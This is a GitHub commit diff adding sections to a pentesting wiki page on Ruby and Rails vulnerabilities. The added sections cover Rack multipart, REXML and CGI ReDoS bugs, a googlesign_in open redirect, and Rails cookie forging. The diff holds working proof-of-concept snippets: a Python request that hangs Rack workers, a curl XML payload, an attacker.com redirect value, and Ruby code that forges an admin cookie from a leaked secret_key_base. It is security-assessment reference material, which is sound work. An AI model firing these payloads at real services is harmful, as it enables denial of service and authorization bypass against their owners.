Skip to content

Commit d66b406

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 1a2b62a + 7897cde commit d66b406

File tree

1 file changed

+55
-3
lines changed

1 file changed

+55
-3
lines changed

src/network-services-pentesting/pentesting-web/ruby-tricks.md

Lines changed: 55 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -41,11 +41,60 @@ If the target stack uses Rack middleware directly or via frameworks, versions of
4141

4242
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
4343

44+
## Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
45+
46+
Rack < `3.0.9.1` and < `2.2.8.1` spent super-linear time parsing crafted `Content-Type: multipart/form-data` headers. A single POST with a gigantic `A=` parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.
47+
48+
- Quick PoC (will hang one worker):
49+
```bash
50+
python - <<'PY'
51+
import requests
52+
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
53+
requests.post('http://target/', data='x', headers=h)
54+
PY
55+
```
56+
- Works against any Rack-based stack (Rails/Sinatra/Hanami/Grape). If fronted by nginx/haproxy with keep-alive, repeat in parallel to exhaust workers.
57+
- Patched by making parser linear; look for `rack` gem version < `3.0.9.1` or < `2.2.8.1`. In assessments, point out that WAFs rarely block this because the header is syntactically valid.
58+
59+
## REXML XML parser ReDoS (CVE-2024-49761)
60+
61+
The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `&#1111111111111x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.
62+
63+
Minimal trigger against a Rails endpoint that parses XML:
64+
```bash
65+
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
66+
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'
67+
```
68+
If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.
69+
70+
## CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
71+
72+
Apps using the `cgi` gem (default in many Rack stacks) can be frozen with a single malicious header:
73+
- `CGI::Cookie.parse` was super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior.
74+
- `CGI::Util#escapeElement` regex allowed ReDoS on HTML escaping.
75+
76+
Both issues are fixed in `cgi` 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive `Cookie:` header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.
77+
78+
## Basecamp `googlesign_in` open redirect / cookie flash leak (CVE-2025-57821)
79+
80+
The `googlesign_in` gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the `proceedto` parameter. A malformed URL like `proceedto=//attacker.com/%2F..` bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.
81+
82+
Exploit flow:
83+
1. Victim clicks crafted Google Sign-In link hosted by attacker.
84+
2. After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
85+
3. If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.
86+
87+
During testing, grep Gemfile.lock for `googlesign_in` < 1.3.0 and try malformed `proceedto` values. Confirm via Location header and cookie reflection.
88+
4489
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
4590

4691
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
4792

4893
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
94+
95+
<details>
96+
<summary>Ruby to decrypt/forge cookies</summary>
97+
4998
```ruby
5099
require 'cgi'
51100
require 'json'
@@ -70,6 +119,8 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
70119
forged = enc.encrypt_and_sign(plain)
71120
puts "Forged cookie: #{CGI.escape(forged)}"
72121
```
122+
123+
</details>
73124
Notes:
74125
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
75126
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
@@ -168,12 +219,13 @@ URL-encoded PoC (first char is a newline):
168219

169220
## References
170221

171-
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
172-
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
222+
- [Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)](https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670)
223+
- [GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)](https://github.com/advisories/GHSA-7wqh-767x-r66v)
173224
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
174225
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
175226
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
176227
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
228+
- [Rack multipart ReDoS advisory (CVE-2024-25126)](https://www.cve.news/cve-2024-25126/)
229+
- [Ruby security advisories for CGI / URI (CVE-2025-27219/27220/27221)](https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/)
177230

178231
{{#include ../../banners/hacktricks-training.md}}
179-

0 commit comments

Comments
 (0)